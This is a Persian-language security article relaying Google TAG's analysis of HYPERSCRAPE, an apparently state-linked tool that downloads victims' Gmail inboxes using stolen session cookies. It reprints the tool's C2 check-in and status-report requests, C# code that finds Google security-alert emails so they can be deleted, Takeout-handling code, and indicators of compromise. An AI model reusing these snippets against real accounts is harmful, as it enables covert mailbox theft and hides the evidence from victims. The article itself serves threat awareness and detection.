اخیرا، گروه آنالیز تهدید گوگل (Google’s Threat Analysis) که به اختصار، TAG، نامیده میشود، گزارشی مبنی بر هک جیمیل تعداد زیادی از کاربران ایرانی منتشر کرد. در این مقاله، میخواهیم ضمن بررسی جزئیات این حمله، جلوگیری از هک جیمیل را به شما مخاطبان گرامی مجله سایبرنو آموزش دهیم. با ما همراه باشید.
گزارش TAG در رابطه با هک جیمیل
متن گزارش گروه تهدید هکری گوگل در رابطه با هک شدن جیمیل توسط تیم هکری بچه گربههای ملوس به شرح زیر است:
«در دسامبر ۲۰۲۱، TAG یک ابزار جدید به نام HYPERSCRAPE را کشف کرد که از آن برای سرقت اطلاعات کاربر از حسابهای کاربری جیمیل، یاهو و مایکروسافت اوتلوک استفاده میشود. مهاجم، HYPERSCRAPE را در سیستم خودش اجرا و ایمیلهای دریافتی کاربران را با دسترسیهایی که از قبل به دست آورده است، دانلود میکند. ما مشاهده کردهایم که از این ابزار علیه تعدادی از حسابهای کاربری مستقر در ایران استفاده شده است. قدیمیترین نمونه از این دست به سال ۲۰۲۰ بر میگردد و ابزاری است که هنوز به طور فعالانه از آن استفاده میشود. ما برای ایمنسازی مجدد این حسابهای کاربری اقدام کردیم و حسابهای کاربری را مطلع ساختیم».
تحلیل HYPERSCRAPE
نرمافزار HYPERSCRAPE به مجوزهای حساب کاربری قربانی برای اجرای یک نشست صحیح و احراز هویت شده که مهاجم آن را هایجک کرده است یا مجوزهایی که مهاجم قبلا آنها را به دست آورده است، نیاز دارد. این نرمافزار، عامل کاربر (user agent) را جعل میکند تا شبیه به یک مرورگر قدیمی به نظر برسد و با اینکار، جیمیل به صورت نسخه HTML پایه (نسخه قدیمی جیمیل) در مرورگر به کاربر نمایش داده میشود. این ابزار پس از ورود به حساب کاربری، تنظمیات زبان حساب کاربری را به انگلیسی تغییر میدهد، ایمیلهای موجود در mailbox را به صورت فایلهای .eml دانلود میکند و سپس، آنها را در حالت «خوانده نشده» (unread) قرار میدهد. پس اینکه این برنامه، کار دانلود کردن محتویات inbox جیمیل قربانی را تمام کرد، زبان آن را به تنظیمات اولیه برمیگرداند و ایمیلهای امنیتی ارسال شده از طرف گوگل را حذف میکند. نسخههای اولیه دارای قابلیت درخواست دادهها از Google Takeout بودند. این قابلیت به کاربران اجازه میدهد تا دادههای خود را به صورت یک فایل آرشیو، دانلود کنند.این ابزار به صورت .NET برای کامپیوترهای ویندوز نوشته شده و به گونهای طراحی شده است که روی کامپیوتر مهاجم اجرا میشود. ما HYPERSCRAPE را در یک محیط کنترل شده با یک حساب کاربری جیمیل آزمایشی، مورد آزمایش قرار دادیم. با این حال، ممکن است نحوه عملکرد این نرمافزار روی حسابهای کاربری یاهو و مایکروسافت، متفاوت باشد. HYPERSCRAPE تا زمانی که در یک دایرکتوری با دیگر فایلهای وابسته قرار نداشته باشد، اجرا نمیشود.
در شکل زیر میتوانید متادیتا فایل HYPERSCRAPE را ببینید:
تنظیمات HYPERSCRAPE
این ابزار در هنگام راهاندازی، یک درخواست HTTP GET به یک سرور کنترل و فرماندهی با نام C2 میفرستد تا وجود یک پاسخ (response body) OK را بررسی کند و در صورت پیدا نکردن این پاسخ، اجرای آن متوقف میشود. C2 در نسخه تستشده، مبهمسازی نشده و به صورت یک رشته هاردکد شده (hardcoded string) ذخیره شده بود. C2 در نسخههای بعدی، با Base64 مبهمسازی شده بود.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
این ابزار، آرگومانهایی مثل حالت عملیاتی (Operation Mode)، یک رشته شناساگر (identifier string) و رشته مسیر (path string) به یک فایل کوکی صحیح را از خط فرمان میپذیرد. در صورتی که اطلاعات توسط خط فرمان تأمین نشوند، فرم جدیدی نمایش داده میشود.
در شکل زیر میتوانید فرم اولیه برای تعیین پارامترهای عملیاتی را ببینید:
زمانی که اطلاعات توسط خط فرمان تأمین شود، دادههای موجود در کادر Identity (مطابق با شکل بالا) برای تأیید به یک C2 فرستاده میشود. مجددا، انتظار میرود که پاسخ، OK باشد.
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
اگر مسیر فایل کوکی توسط خط فرمان تأمین نشود، فرم جدیدی به اپراتور این امکان را میدهد تا مسیر کوکی را با کشیدن و رها کردن (درگ و دراپ کردن) تأمین کند. در شکل زیر میتوانید این فرم را ببینید:
کوکیها پس از تجزیه (parsing) درون یک فایل کش محلی (Local) درج میشوند. مروگر وب که فایل کش در آن جاگذاری (embed) شده است، از این فایل استفاده میکند. فولدر جدیدی به نام Download در مجاورت باینری اصلی ایجاد میشود. سپس، مرورگر، به جیمیل هدایت میشود تا جمعآوری دادهها را شروع کند.
در زیر میتوانید صفحه خطای استفاده از مرورگری که تحت پشتیبانی قرار ندارد را ببینید:
اگر کوکیها نتوانند به حساب کاربری مورد نظر دسترسی پیدا کنند، یک صفحه ورود به حساب کاربری نمایش داده میشود و مهاجم میتواند در این صفحه، نام کاربری و گذرواژه قربانی را وارد کند. نرمافزار صبر میکند تا ببیند که میتواند صفحه inbox را پیدا کند یا خیر.
در شکل زیر میتوانید صفحه ورود را مشاهده کنید:
HYPERSCRAPE چکار میکند؟
پس از ورود مهاجم به حساب کاربری قربانی، HYPERSCRAPE بررسی میکند که آیا زبان حساب کاربری، انگلیسی است یا خیر و در صورتی که انگلیسی نباشد، آن را به انگلیسی تغییر میدهد. پس از پایان کار نرمافزار، زبان حساب کاربری به تنظیمات اولیه باز میگردد.
سپس، HYPERSCRAPE درون inbox به دنبال ایمیلها میگردد تا آنها را دانلود کند و پس از پیدا کردن هر ایمیل، کارهای زیر را انجام میدهد:
• روی ایمیل کلیک و آن را باز میکند
• آن را دانلود میکند
• اگر ایمیل در حالت خوانده نشده قرار داشته باشد، پس از باز کردن و دانلود کردن ایمیل، آن را به حالت خوانده نشده باز میگرداند
• به صفحه inbox بر میگردد
ایمیلها با پسوند .eml در دایرکتوری Downloads و با نام موضوع ایمیل، ذخیره میشوند. سپس، یک فایل log نوشته میشود که حاوی تعداد ایمیلهای دانلود شده است.
پس از پایان کار، یک درخواست HTTP POST برای C2 ارسال میشود تا وضعیت و اطلاعات سیستم را برگرداند. ایمیلهای دانلود شده به C2 ارسال نمیشوند.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}"
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
این برنامه با کدهای زیر هرگونه ایمیل اخطار از سمت گوگل را پاک میکند:
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span")
where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") || x.TextContent.StartsWith("Access for less secure apps has been turned on") || x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.StartsWith("Help us protect you: Security advice from Google") || x.TextContent.StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.Count == 0;
return !flag;
}
نسخههای اولیه دارای امکان درخواست دادههای Google Takeout بودند
امکان درخواست دادهها از Google Takeout نیز وجود دارد اما این قابلیت فقط در نسخههای اولیه یافت میشد. این قابلیت، خودکار نبود و معلوم نیست که چرا در نسخههای جدیدتر، حذف شده است.
این برنامه در هنگام انجام Takeout، نسخه جدیدی از خودش را تکثیر و یک کانال ارتباط پایپ را آغاز میکند تا کوکیها و نام حساب کاربری را که هر دوی آنها برای تکمیل درخواست Takeout ضروری هستند، را بگیرد. پس از دریافت این اطلاعات، مرورگر به لینک رسمی Takeout هدایت میشود تا درخواست را ارسال و نهایتا، دادههای اکسپورت شده را دانلود کند.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text);
process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName;
process.Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.Read();
switch (jsonInfo.Type) {
case JsonType.GetCookies:
jsonInfo.Data = this.CookieText;
pipeCommunication.Write(jsonInfo);
break;
case JsonType.TakeOutFile:
flag = true;
break;
case JsonType.GetUsername:
while (this.OperationObject.GetUsername() == null) {
Thread.Sleep(1000);
}
jsonInfo.Data = this.OperationObject.GetUsername();
pipeCommunication.Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.Close();
}
محافظت از کاربرانمان
TAG متعهد است تا تحقیقات را به منظور افزایش آگاهی در رابطه با خرابکاران را در جامعه امنیت (سایبری) و برای شرکتها و افرادی که احتمال هدف قرار گرفتن آنها وجود دارد، منتشر کند. به همین دلیل، ما کارهایی مثل همکاری با گروه جرمیابی سایبری (CyberCrime Investigation Group) را برای به اشتراکگذاشتن اطلاعات حساس در اختیار مراجع قانونی، انجام میدهیم. ما امید داریم که انجام چنین کارهایی، درک تاکتیکها و تکنیکهایی را که قابلیتهای شکار تهدید (threat hunting) را افزایش میدهند و منجر به حفاظت قویتر در سرتاسر صنعت میشوند، بهبود بخشد. همچنین، ما به استفاده از این یافتهها ادامه میدهیم تا امنیت و حفاظت از کاربران را که به خدمات ما متکی هستند، بهبود بخشیم. در عین حال، ما از کاربرانی که تحت ریسک بالایی قرار دارند میخواهیم تا در برنامه حفاظت پیشرفته (APP) ما مشارکت و از مرور امن پیشرفته سطح کاربر گوگل استفاده کنند تا مطمئن شویم که آنها از بالاترین سطح حفاظت در مقابل تهدیدات پیش رو برخوردار هستند.
نشانههای آلودگی به HYPERSCRAPE (IoC)
C2s
136.243.108.14
173.209.51.54
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
E:\Working\Projects\EmailDownloader\EmaiDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb